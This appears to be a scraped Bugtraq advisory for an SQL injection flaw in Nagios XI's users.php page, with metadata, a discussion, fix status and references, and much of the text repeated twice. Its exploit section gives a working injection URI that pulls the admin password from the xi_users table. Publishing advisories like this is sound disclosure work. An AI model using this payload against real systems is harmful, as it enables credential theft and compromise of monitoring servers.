Nagios XI 'users.php' SQL Injection Vulnerability
BID:42661
Info
Nagios XI 'users.php' SQL Injection Vulnerability
| Bugtraq ID: | 42661 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 24 2010 12:00AM |
| Updated: | Aug 24 2010 12:00AM |
| Credit: | Adam Baldwin |
| Vulnerable: |
Nagios Nagios XI 2009R1.2C Nagios Nagios XI 2009R1.2B |
| Not Vulnerable: | |
Discussion
Nagios XI 'users.php' SQL Injection Vulnerability
Nagios XI is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Nagios XI 2009R1.3 are vulnerable.
Nagios XI is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Nagios XI 2009R1.3 are vulnerable.
Exploit / POC
Nagios XI 'users.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/nagiosxi/admin/users.php?records=int8((select > password from xi_users where username= > CHR(110)||CHR(97)||CHR(103)||CHR(105)||CHR(111)||CHR(115)||CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)))&sortby=username&sortorder=asc&search=&page=1
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/nagiosxi/admin/users.php?records=int8((select > password from xi_users where username= > CHR(110)||CHR(97)||CHR(103)||CHR(105)||CHR(111)||CHR(115)||CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)))&sortby=username&sortorder=asc&search=&page=1
Solution / Fix
Nagios XI 'users.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Nagios XI 'users.php' SQL Injection Vulnerability
References:
References:
- Nagios XI Homepage (Nagios)
- Nagios XI users.php SQL Injection (Adam Baldwin)
- Nagios XI users.php SQL Injection (Adam Baldwin
)